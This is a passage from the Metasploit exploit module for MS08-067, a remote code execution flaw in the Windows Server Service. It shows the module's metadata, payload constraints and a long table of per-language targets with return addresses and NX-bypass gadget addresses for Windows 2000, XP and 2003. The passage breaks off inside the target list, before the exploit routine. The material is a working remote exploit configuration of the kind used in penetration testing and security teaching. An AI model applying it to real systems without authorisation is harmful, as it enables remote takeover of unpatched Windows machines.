Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::DCERPC
10
  include Msf::Exploit::Remote::SMB::Client
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'MS08-067 Microsoft Server Service Relative Path Stack Corruption',
15
      'Description'    => %q{
16
          This module exploits a parsing flaw in the path canonicalization code of
17
        NetAPI32.dll through the Server Service. This module is capable of bypassing
18
        NX on some operating systems and service packs. The correct target must be
19
        used to prevent the Server Service (along with a dozen others in the same
20
        process) from crashing. Windows XP targets seem to handle multiple successful
21
        exploitation events, but 2003 targets will often crash or hang on subsequent
22
        attempts. This is just the first version of this module, full support for
23
        NX bypass on 2003, along with other platforms, is still in development.
24
      },
25
      'Author'         =>
26
        [
27
          'hdm', # with tons of input/help/testing from the community
28
          'Brett Moore <brett.moore[at]insomniasec.com>',
29
          'frank2 <frank2[at]dc949.org>', # check() detection
30
          'jduck', # XP SP2/SP3 AlwaysOn DEP bypass
31
        ],
32
      'License'        => MSF_LICENSE,
33
      'References'     =>
34
        [
35
          %w(CVE 2008-4250),
36
          %w(OSVDB 49243),
37
          %w(MSB MS08-067),
38
          # If this vulnerability is found, ms08-67 is exposed as well
39
          ['URL', 'https://www.rapid7.com/db/vulnerabilities/dcerpc-ms-netapi-netpathcanonicalize-dos/']
40
        ],
41
      'DefaultOptions' =>
42
        {
43
          'EXITFUNC' => 'thread',
44
        },
45
      'Privileged'     => true,
46
      'Payload'        =>
47
        {
48
          'Space'    => 408,
49
          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40",
50
          'Prepend'  => "\x81\xE4\xF0\xFF\xFF\xFF", # stack alignment
51
          'StackAdjustment' => -3500,
52

53
        },
54
      'Platform'       => 'win',
55
      'DefaultTarget'  => 0,
56
      'Targets'        =>
57
        [
58
          #
59
          # Automatic targetting via fingerprinting
60
          #
61
          ['Automatic Targeting', { 'auto' => true }],
62

63
          #
64
          # UNIVERSAL TARGETS
65
          #
66

67
          #
68
          # Antoine's universal for Windows 2000
69
          # Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET
70
          #
71
          ['Windows 2000 Universal',
72
           {
73
             'Ret'       => 0x001f1cb0,
74
             'Scratch'   => 0x00020408,
75
           }
76
          ], # JMP EDI SVCHOST.EXE
77

78
          #
79
          # Standard return-to-ESI without NX bypass
80
          # Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET
81
          #
82
          ['Windows XP SP0/SP1 Universal',
83
           {
84
             'Ret'       => 0x01001361,
85
             'Scratch'   => 0x00020408,
86
           }
87
          ], # JMP ESI SVCHOST.EXE
88

89
          # Standard return-to-ESI without NX bypass
90
          ['Windows 2003 SP0 Universal',
91
           {
92
             'Ret'       => 0x0100129e,
93
             'Scratch'   => 0x00020408,
94
           }
95
          ], # JMP ESI SVCHOST.EXE
96

97
          #
98
          # ENGLISH TARGETS
99
          #
100

101
          # jduck's AlwaysOn NX Bypass for XP SP2
102
          ['Windows XP SP2 English (AlwaysOn NX)',
103
           {
104
             # No pivot is needed, we drop into our rop
105
             'Scratch' => 0x00020408,
106
             'UseROP'  => '5.1.2600.2180'
107
           }
108
          ],
109

110
          # Metasploit's NX bypass for XP SP2/SP3
111
          ['Windows XP SP2 English (NX)',
112
           {
113
             'Ret'       => 0x6f88f727,
114
             'DisableNX' => 0x6f8916e2,
115
             'Scratch'   => 0x00020408
116
           }
117
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
118

119
          # jduck's AlwaysOn NX Bypass for XP SP3
120
          ['Windows XP SP3 English (AlwaysOn NX)',
121
           {
122
             # No pivot is needed, we drop into our rop
123
             'Scratch' => 0x00020408,
124
             'UseROP'  => '5.1.2600.5512'
125
           }
126
          ],
127

128
          # Metasploit's NX bypass for XP SP2/SP3
129
          ['Windows XP SP3 English (NX)',
130
           {
131
             'Ret'       => 0x6f88f807,
132
             'DisableNX' => 0x6f8917c2,
133
             'Scratch'   => 0x00020408
134
           }
135
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
136

137
          #
138
          # NON-ENGLISH TARGETS - AUTOMATICALLY GENERATED
139
          #
140

141
          # Metasploit's NX bypass for XP SP2/SP3
142
          ['Windows XP SP2 Arabic (NX)',
143
           {
144
             'Ret'       => 0x6fd8f727,
145
             'DisableNX' => 0x6fd916e2,
146
             'Scratch'   => 0x00020408
147
           }
148
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
149

150
          # Metasploit's NX bypass for XP SP2/SP3
151
          ['Windows XP SP2 Chinese - Traditional / Taiwan (NX)',
152
           {
153
             'Ret'       => 0x5860f727,
154
             'DisableNX' => 0x586116e2,
155
             'Scratch'   => 0x00020408
156
           }
157
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
158

159
          # Metasploit's NX bypass for XP SP2/SP3
160
          ['Windows XP SP2 Chinese - Simplified (NX)',
161
           {
162
             'Ret'       => 0x58fbf727,
163
             'DisableNX' => 0x58fc16e2,
164
             'Scratch'   => 0x00020408
165
           }
166
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
167

168
          # Metasploit's NX bypass for XP SP2/SP3
169
          ['Windows XP SP2 Chinese - Traditional (NX)',
170
           {
171
             'Ret'       => 0x5860f727,
172
             'DisableNX' => 0x586116e2,
173
             'Scratch'   => 0x00020408
174
           }
175
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
176

177
          # Metasploit's NX bypass for XP SP2/SP3
178
          ['Windows XP SP2 Czech (NX)',
179
           {
180
             'Ret'       => 0x6fe1f727,
181
             'DisableNX' => 0x6fe216e2,
182
             'Scratch'   => 0x00020408
183
           }
184
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
185

186
          # Metasploit's NX bypass for XP SP2/SP3
187
          ['Windows XP SP2 Danish (NX)',
188
           {
189
             'Ret'       => 0x5978f727,
190
             'DisableNX' => 0x597916e2,
191
             'Scratch'   => 0x00020408
192
           }
193
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
194

195
          # Metasploit's NX bypass for XP SP2/SP3
196
          ['Windows XP SP2 German (NX)',
197
           {
198
             'Ret'       => 0x6fd9f727,
199
             'DisableNX' => 0x6fda16e2,
200
             'Scratch'   => 0x00020408
201
           }
202
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
203

204
          # Metasploit's NX bypass for XP SP2/SP3
205
          ['Windows XP SP2 Greek (NX)',
206
           {
207
             'Ret'       => 0x592af727,
208
             'DisableNX' => 0x592b16e2,
209
             'Scratch'   => 0x00020408
210
           }
211
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
212

213
          # Metasploit's NX bypass for XP SP2/SP3
214
          ['Windows XP SP2 Spanish (NX)',
215
           {
216
             'Ret'       => 0x6fdbf727,
217
             'DisableNX' => 0x6fdc16e2,
218
             'Scratch'   => 0x00020408
219
           }
220
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
221

222
          # Metasploit's NX bypass for XP SP2/SP3
223
          ['Windows XP SP2 Finnish (NX)',
224
           {
225
             'Ret'       => 0x597df727,
226
             'DisableNX' => 0x597e16e2,
227
             'Scratch'   => 0x00020408
228
           }
229
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
230

231
          # Metasploit's NX bypass for XP SP2/SP3
232
          ['Windows XP SP2 French (NX)',
233
           {
234
             'Ret'       => 0x595bf727,
235
             'DisableNX' => 0x595c16e2,
236
             'Scratch'   => 0x00020408
237
           }
238
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
239

240
          # Metasploit's NX bypass for XP SP2/SP3
241
          ['Windows XP SP2 Hebrew (NX)',
242
           {
243
             'Ret'       => 0x5940f727,
244
             'DisableNX' => 0x594116e2,
245
             'Scratch'   => 0x00020408
246
           }
247
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
248

249
          # Metasploit's NX bypass for XP SP2/SP3
250
          ['Windows XP SP2 Hungarian (NX)',
251
           {
252
             'Ret'       => 0x5970f727,
253
             'DisableNX' => 0x597116e2,
254
             'Scratch'   => 0x00020408
255
           }
256
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
257

258
          # Metasploit's NX bypass for XP SP2/SP3
259
          ['Windows XP SP2 Italian (NX)',
260
           {
261
             'Ret'       => 0x596bf727,
262
             'DisableNX' => 0x596c16e2,
263
             'Scratch'   => 0x00020408
264
           }
265
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
266

267
          # Metasploit's NX bypass for XP SP2/SP3
268
          ['Windows XP SP2 Japanese (NX)',
269
           {
270
             'Ret'       => 0x567fd3be,
271
             'DisableNX' => 0x568016e2,
272
             'Scratch'   => 0x00020408
273
           }
274
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
275

276
          # Metasploit's NX bypass for XP SP2/SP3
277
          ['Windows XP SP2 Korean (NX)',
278
           {
279
             'Ret'       => 0x6fd6f727,
280
             'DisableNX' => 0x6fd716e2,
281
             'Scratch'   => 0x00020408
282
           }
283
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
284

285
          # Metasploit's NX bypass for XP SP2/SP3
286
          ['Windows XP SP2 Dutch (NX)',
287
           {
288
             'Ret'       => 0x596cf727,
289
             'DisableNX' => 0x596d16e2,
290
             'Scratch'   => 0x00020408
291
           }
292
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
293

294
          # Metasploit's NX bypass for XP SP2/SP3
295
          ['Windows XP SP2 Norwegian (NX)',
296
           {
297
             'Ret'       => 0x597cf727,
298
             'DisableNX' => 0x597d16e2,
299
             'Scratch'   => 0x00020408
300
           }
301
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
302

303
          # Metasploit's NX bypass for XP SP2/SP3
304
          ['Windows XP SP2 Polish (NX)',
305
           {
306
             'Ret'       => 0x5941f727,
307
             'DisableNX' => 0x594216e2,
308
             'Scratch'   => 0x00020408
309
           }
310
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
311

312
          # Metasploit's NX bypass for XP SP2/SP3
313
          ['Windows XP SP2 Portuguese - Brazilian (NX)',
314
           {
315
             'Ret'       => 0x596ff727,
316
             'DisableNX' => 0x597016e2,
317
             'Scratch'   => 0x00020408
318
           }
319
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
320

321
          # Metasploit's NX bypass for XP SP2/SP3
322
          ['Windows XP SP2 Portuguese (NX)',
323
           {
324
             'Ret'       => 0x596bf727,
325
             'DisableNX' => 0x596c16e2,
326
             'Scratch'   => 0x00020408
327
           }
328
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
329

330
          # Metasploit's NX bypass for XP SP2/SP3
331
          ['Windows XP SP2 Russian (NX)',
332
           {
333
             'Ret'       => 0x6fe1f727,
334
             'DisableNX' => 0x6fe216e2,
335
             'Scratch'   => 0x00020408
336
           }
337
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
338

339
          # Metasploit's NX bypass for XP SP2/SP3
340
          ['Windows XP SP2 Swedish (NX)',
341
           {
342
             'Ret'       => 0x597af727,
343
             'DisableNX' => 0x597b16e2,
344
             'Scratch'   => 0x00020408
345
           }
346
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
347

348
          # Metasploit's NX bypass for XP SP2/SP3
349
          ['Windows XP SP2 Turkish (NX)',
350
           {
351
             'Ret'       => 0x5a78f727,
352
             'DisableNX' => 0x5a7916e2,
353
             'Scratch'   => 0x00020408
354
           }
355
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
356

357
          # Metasploit's NX bypass for XP SP2/SP3
358
          ['Windows XP SP3 Arabic (NX)',
359
           {
360
             'Ret'       => 0x6fd8f807,
361
             'DisableNX' => 0x6fd917c2,
362
             'Scratch'   => 0x00020408
363
           }
364
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
365

366
          # Metasploit's NX bypass for XP SP2/SP3
367
          ['Windows XP SP3 Chinese - Traditional / Taiwan (NX)',
368
           {
369
             'Ret'       => 0x5860f807,
370
             'DisableNX' => 0x586117c2,
371
             'Scratch'   => 0x00020408
372
           }
373
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
374

375
          # Metasploit's NX bypass for XP SP2/SP3
376
          ['Windows XP SP3 Chinese - Simplified (NX)',
377
           {
378
             'Ret'       => 0x58fbf807,
379
             'DisableNX' => 0x58fc17c2,
380
             'Scratch'   => 0x00020408
381
           }
382
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
383

384
          # Metasploit's NX bypass for XP SP2/SP3
385
          ['Windows XP SP3 Chinese - Traditional (NX)',
386
           {
387
             'Ret'       => 0x5860f807,
388
             'DisableNX' => 0x586117c2,
389
             'Scratch'   => 0x00020408
390
           }
391
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
392

393
          # Metasploit's NX bypass for XP SP2/SP3
394
          ['Windows XP SP3 Czech (NX)',
395
           {
396
             'Ret'       => 0x6fe1f807,
397
             'DisableNX' => 0x6fe217c2,
398
             'Scratch'   => 0x00020408
399
           }
400
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
401

402
          # Metasploit's NX bypass for XP SP2/SP3
403
          ['Windows XP SP3 Danish (NX)',
404
           {
405
             'Ret'       => 0x5978f807,
406
             'DisableNX' => 0x597917c2,
407
             'Scratch'   => 0x00020408
408
           }
409
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
410

411
          # Metasploit's NX bypass for XP SP2/SP3
412
          ['Windows XP SP3 German (NX)',
413
           {
414
             'Ret'       => 0x6fd9f807,
415
             'DisableNX' => 0x6fda17c2,
416
             'Scratch'   => 0x00020408
417
           }
418
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
419

420
          # Metasploit's NX bypass for XP SP2/SP3
421
          ['Windows XP SP3 Greek (NX)',
422
           {
423
             'Ret'       => 0x592af807,
424
             'DisableNX' => 0x592b17c2,
425
             'Scratch'   => 0x00020408
426
           }
427
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
428

429
          # Metasploit's NX bypass for XP SP2/SP3
430
          ['Windows XP SP3 Spanish (NX)',
431
           {
432
             'Ret'       => 0x6fdbf807,
433
             'DisableNX' => 0x6fdc17c2,
434
             'Scratch'   => 0x00020408
435
           }
436
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
437

438
          # Metasploit's NX bypass for XP SP2/SP3
439
          ['Windows XP SP3 Finnish (NX)',
440
           {
441
             'Ret'       => 0x597df807,
442
             'DisableNX' => 0x597e17c2,
443
             'Scratch'   => 0x00020408
444
           }
445
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
446

447
          # Metasploit's NX bypass for XP SP2/SP3
448
          ['Windows XP SP3 French (NX)',
449
           {
450
             'Ret'       => 0x595bf807,
451
             'DisableNX' => 0x595c17c2,
452
             'Scratch'   => 0x00020408
453
           }
454
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
455

456
          # Metasploit's NX bypass for XP SP2/SP3
457
          ['Windows XP SP3 Hebrew (NX)',
458
           {
459
             'Ret'       => 0x5940f807,
460
             'DisableNX' => 0x594117c2,
461
             'Scratch'   => 0x00020408
462
           }
463
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
464

465
          # Metasploit's NX bypass for XP SP2/SP3
466
          ['Windows XP SP3 Hungarian (NX)',
467
           {
468
             'Ret'       => 0x5970f807,
469
             'DisableNX' => 0x597117c2,
470
             'Scratch'   => 0x00020408
471
           }
472
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
473

474
          # Metasploit's NX bypass for XP SP2/SP3
475
          ['Windows XP SP3 Italian (NX)',
476
           {
477
             'Ret'       => 0x596bf807,
478
             'DisableNX' => 0x596c17c2,
479
             'Scratch'   => 0x00020408
480
           }
481
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
482

483
          # Metasploit's NX bypass for XP SP2/SP3
484
          ['Windows XP SP3 Japanese (NX)',
485
           {
486
             'Ret'       => 0x567fd4d2,
487
             'DisableNX' => 0x568017c2,
488
             'Scratch'   => 0x00020408
489
           }
490
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
491

492
          # Metasploit's NX bypass for XP SP2/SP3
493
          ['Windows XP SP3 Korean (NX)',
494
           {
495
             'Ret'       => 0x6fd6f807,
496
             'DisableNX' => 0x6fd717c2,
497
             'Scratch'   => 0x00020408
498
           }
499
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
500

501
          # Metasploit's NX bypass for XP SP2/SP3
502
          ['Windows XP SP3 Dutch (NX)',
503
           {
504
             'Ret'       => 0x596cf807,
505
             'DisableNX' => 0x596d17c2,
506
             'Scratch'   => 0x00020408
507
           }
508
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
509

510
          # Metasploit's NX bypass for XP SP2/SP3
511
          ['Windows XP SP3 Norwegian (NX)',
512
           {
513
             'Ret'       => 0x597cf807,
514
             'DisableNX' => 0x597d17c2,
515
             'Scratch'   => 0x00020408
516
           }
517
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
518

519
          # Metasploit's NX bypass for XP SP2/SP3
520
          ['Windows XP SP3 Polish (NX)',
521
           {
522
             'Ret'       => 0x5941f807,
523
             'DisableNX' => 0x594217c2,
524
             'Scratch'   => 0x00020408
525
           }
526
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
527

528
          # Metasploit's NX bypass for XP SP2/SP3
529
          ['Windows XP SP3 Portuguese - Brazilian (NX)',
530
           {
531
             'Ret'       => 0x596ff807,
532
             'DisableNX' => 0x597017c2,
533
             'Scratch'   => 0x00020408
534
           }
535
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
536

537
          # Metasploit's NX bypass for XP SP2/SP3
538
          ['Windows XP SP3 Portuguese (NX)',
539
           {
540
             'Ret'       => 0x596bf807,
541
             'DisableNX' => 0x596c17c2,
542
             'Scratch'   => 0x00020408
543
           }
544
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
545

546
          # Metasploit's NX bypass for XP SP2/SP3
547
          ['Windows XP SP3 Russian (NX)',
548
           {
549
             'Ret'       => 0x6fe1f807,
550
             'DisableNX' => 0x6fe217c2,
551
             'Scratch'   => 0x00020408
552
           }
553
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
554

555
          # Metasploit's NX bypass for XP SP2/SP3
556
          ['Windows XP SP3 Swedish (NX)',
557
           {
558
             'Ret'       => 0x597af807,
559
             'DisableNX' => 0x597b17c2,
560
             'Scratch'   => 0x00020408
561
           }
562
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
563

564
          # Metasploit's NX bypass for XP SP2/SP3
565
          ['Windows XP SP3 Turkish (NX)',
566
           {
567
             'Ret'       => 0x5a78f807,
568
             'DisableNX' => 0x5a7917c2,
569
             'Scratch'   => 0x00020408
570
           }
571
          ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
572

573
          #
574
          # Windows 2003 Targets
575
          #
576

577
          # Standard return-to-ESI without NX bypass
578
          ['Windows 2003 SP1 English (NO NX)',
579
           {
580
             'Ret'       => 0x71bf21a2,
581
             'Scratch'   => 0x00020408,
582
           }
583
          ], # JMP ESI WS2HELP.DLL
584

585
          # Brett Moore's crafty NX bypass for 2003 SP1
586
          ['Windows 2003 SP1 English (NX)',
587
           {
588
             'RetDec'    => 0x7c90568c,  # dec ESI, ret @SHELL32.DLL
589
             'RetPop'    => 0x7ca27cf4,  # push ESI, pop EBP, ret @SHELL32.DLL
590
             'JmpESP'    => 0x7c86fed3,  # jmp ESP @NTDLL.DLL
591
             'DisableNX' => 0x7c83e413,  # NX disable @NTDLL.DLL
592
             'Scratch'   => 0x00020408,
593
           }
594
          ],
595

596
          # Standard return-to-ESI without NX bypass
597
          ['Windows 2003 SP1 Japanese (NO NX)',
598
           {
599
             'Ret'       => 0x71a921a2,
600
             'Scratch'   => 0x00020408,
601
           }
602
          ], # JMP ESI WS2HELP.DLL
603

604
          # Standard return-to-ESI without NX bypass
605
          ['Windows 2003 SP1 Spanish (NO NX)',
606
           {
607
             'Ret'       => 0x71ac21a2,
608
             'Scratch'   => 0x00020408,
609
           }
610
          ], # JMP ESI WS2HELP.DLL
611

612
          # Brett Moore's crafty NX bypass for 2003 SP1
613
          ['Windows 2003 SP1 Spanish (NX)',
614
           {
615
             'RetDec'    => 0x7c90568c,  # dec ESI, ret @SHELL32.DLL
616
             'RetPop'    => 0x7ca27cf4,  # push ESI, pop EBP, ret @SHELL32.DLL
617
             'JmpESP'    => 0x7c86fed3,  # jmp ESP @NTDLL.DLL
618
             'DisableNX' => 0x7c83e413,  # NX disable @NTDLL.DLL
619
             'Scratch'   => 0x00020408,
620
           }
621
          ],
622
          # Standard return-to-ESI without NX bypass
623
          # Added by Omar MEZRAG - 0xFFFFFF
624
          [ 'Windows 2003 SP1 French (NO NX)',
625
            {
626
              'Ret'       => 0x71ac1c40 ,
627
              'Scratch'   => 0x00020408
628
            }
629
          ], # JMP ESI WS2HELP.DLL
630

631
          # Brett Moore's crafty NX bypass for 2003 SP1
632
          # Added by Omar MEZRAG - 0xFFFFFF
633
          [ 'Windows 2003 SP1 French (NX)',
634
            {
635
              'RetDec'    => 0x7CA2568C,  # dec ESI, ret @SHELL32.DLL
636
              'RetPop'    => 0x7CB47CF4,  # push ESI, pop EBP, ret 4 @SHELL32.DLL
637
              'JmpESP'    => 0x7C98FED3,  # jmp ESP @NTDLL.DLL
638
              'DisableNX' => 0x7C95E413,  # NX disable @NTDLL.DLL
639
              'Scratch'   => 0x00020408
640
            }
641
          ],
642

643
          # Standard return-to-ESI without NX bypass
644
          ['Windows 2003 SP2 English (NO NX)',
645
           {
646
             'Ret'       => 0x71bf3969,
647
             'Scratch'   => 0x00020408,
648
           }
649
          ], # JMP ESI WS2HELP.DLL
650

651
          # Brett Moore's crafty NX bypass for 2003 SP2
652
          ['Windows 2003 SP2 English (NX)',
653
           {
654
             'RetDec'    => 0x7c86beb8,  # dec ESI, ret @NTDLL.DLL
655
             'RetPop'    => 0x7ca1e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
656
             'JmpESP'    => 0x7c86a01b,  # jmp ESP @NTDLL.DLL
657
             'DisableNX' => 0x7c83f517,  # NX disable @NTDLL.DLL
658
             'Scratch'   => 0x00020408,
659
           }
660
          ],
661

662
          # Standard return-to-ESI without NX bypass
663
          ['Windows 2003 SP2 German (NO NX)',
664
           {
665
             'Ret'       => 0x71a03969,
666
             'Scratch'   => 0x00020408,
667
           }
668
          ], # JMP ESI WS2HELP.DLL
669

670
          # Brett Moore's crafty NX bypass for 2003 SP2
671
          ['Windows 2003 SP2 German (NX)',
672
           {
673
             'RetDec'    => 0x7c98beb8,  # dec ESI, ret @NTDLL.DLL
674
             'RetPop'    => 0x7cb3e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
675
             'JmpESP'    => 0x7c98a01b,  # jmp ESP @NTDLL.DLL
676
             'DisableNX' => 0x7c95f517,  # NX disable @NTDLL.DLL
677
             'Scratch'   => 0x00020408,
678
           }
679
          ],
680

681
          # Brett Moore's crafty NX bypass for 2003 SP2
682
          [ 'Windows 2003 SP2 Portuguese (NX)',
683
            {
684
              'RetDec'    => 0x7c97beb8,  # dec ESI, ret @NTDLL.DLL OK
685
              'RetPop'    => 0x7cb2e84e,  # push ESI, pop EBP, ret @SHELL32.DLL OK
686
              'JmpESP'    => 0x7c97a01b,  # jmp ESP @NTDLL.DLL OK
687
              'DisableNX' => 0x7c94f517,  # NX disable @NTDLL.DLL
688
              'Scratch'   => 0x00020408,
689
            }
690
          ],
691

692
          # Brett Moore's crafty NX bypass for 2003 SP2 (target by Anderson Bargas)
693
          [ 'Windows 2003 SP2 Portuguese - Brazilian (NX)',
694
            {
695
              'RetDec'    => 0x7c97beb8,  # dec ESI, ret @NTDLL.DLL OK
696
              'RetPop'    => 0x7cb2e84e,  # push ESI, pop EBP, ret @SHELL32.DLL OK
697
              'JmpESP'    => 0x7c97a01b,  # jmp ESP @NTDLL.DLL OK
698
              'DisableNX' => 0x7c94f517,  # NX disable @NTDLL.DLL
699
              'Scratch'   => 0x00020408,
700
            }
701
          ],
702

703
          # Standard return-to-ESI without NX bypass
704
          ['Windows 2003 SP2 Spanish (NO NX)',
705
           {
706
             'Ret'       => 0x71ac3969,
707
             'Scratch'   => 0x00020408,
708
           }
709
          ], # JMP ESI WS2HELP.DLL
710

711
          # Brett Moore's crafty NX bypass for 2003 SP2
712
          ['Windows 2003 SP2 Spanish (NX)',
713
           {
714
             'RetDec'    => 0x7c86beb8,  # dec ESI, ret @NTDLL.DLL
715
             'RetPop'    => 0x7ca1e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
716
             'JmpESP'    => 0x7c86a01b,  # jmp ESP @NTDLL.DLL
717
             'DisableNX' => 0x7c83f517,  # NX disable @NTDLL.DLL
718
             'Scratch'   => 0x00020408,
719
           }
720
          ],
721

722
          # Standard return-to-ESI without NX bypass
723
          # Provided by Masashi Fujiwara
724
          ['Windows 2003 SP2 Japanese (NO NX)',
725
           {
726
             'Ret'       => 0x71a91ed2,
727
             'Scratch'   => 0x00020408
728
           }
729
          ], # JMP ESI WS2HELP.DLL
730

731
          # Standard return-to-ESI without NX bypass
732
          # Added by Omar MEZRAG - 0xFFFFFF
733
          [ 'Windows 2003 SP2 French (NO NX)',
734
            {
735
              'Ret'       => 0x71AC2069,
736
              'Scratch'   => 0x00020408
737
            }
738
          ], # CALL ESI WS2HELP.DLL
739

740
          # Brett Moore's crafty NX bypass for 2003 SP2
741
          # Added by Omar MEZRAG - 0xFFFFFF
742
          [ 'Windows 2003 SP2 French (NX)',
743
            {
744
              'RetDec'    => 0x7C98BEB8,  # dec ESI, ret @NTDLL.DLL
745
              'RetPop'    => 0x7CB3E84E,  # push ESI, pop EBP, ret @SHELL32.DLL
746
              'JmpESP'    => 0x7C98A01B,  # jmp ESP @NTDLL.DLL
747
              'DisableNX' => 0x7C95F517,  # NX disable @NTDLL.DLL
748
              'Scratch'   => 0x00020408
749
            }
750
          ],
751

752
          # Brett Moore's crafty NX bypass for 2003 SP2
753
          [ 'Windows 2003 SP2 Chinese - Simplified (NX)',
754
            {
755
              'RetDec'    => 0x7c99beb8,  # dec ESI, ret @NTDLL.DLL
756
              'RetPop'    => 0x7cb5e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
757
              'JmpESP'    => 0x7c99a01b,  # jmp ESP @NTDLL.DLL
758
              'DisableNX' => 0x7c96f517,  # NX disable @NTDLL.DLL
759
              'Scratch'   => 0x00020408,
760
            }
761
          ],
762

763
          # Brett Moore's crafty NX bypass for 2003 SP2
764
          [ 'Windows 2003 SP2 Czech (NX)',
765
            {
766
              'RetDec'    => 0x7c97beb8,  # dec ESI, ret @NTDLL.DLL
767
              'RetPop'    => 0x7cb1e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
768
              'JmpESP'    => 0x7c97a01b,  # jmp ESP @NTDLL.DLL
769
              'DisableNX' => 0x7c94f517,  # NX disable @NTDLL.DLL
770
              'Scratch'   => 0x00020408,
771
            }
772
          ],
773

774
          # Brett Moore's crafty NX bypass for 2003 SP2
775
          [ 'Windows 2003 SP2 Dutch (NX)',
776
            {
777
              'RetDec'    => 0x7c97beb8,  # dec ESI, ret @NTDLL.DLL
778
              'RetPop'    => 0x7cb2e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
779
              'JmpESP'    => 0x7c97a01b,  # jmp ESP @NTDLL.DLL
780
              'DisableNX' => 0x7c94f517,  # NX disable @NTDLL.DLL
781
              'Scratch'   => 0x00020408,
782
            }
783
          ],
784

785
          # Brett Moore's crafty NX bypass for 2003 SP2
786
          [ 'Windows 2003 SP2 Hungarian (NX)',
787
            {
788
              'RetDec'    => 0x7c97beb8,  # dec ESI, ret @NTDLL.DLL
789
              'RetPop'    => 0x7cb2e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
790
              'JmpESP'    => 0x7c97a01b,  # jmp ESP @NTDLL.DLL
791
              'DisableNX' => 0x7c94f517,  # NX disable @NTDLL.DLL
792
              'Scratch'   => 0x00020408,
793
            }
794
          ],
795

796
          # Brett Moore's crafty NX bypass for 2003 SP2
797
          [ 'Windows 2003 SP2 Italian (NX)',
798
            {
799
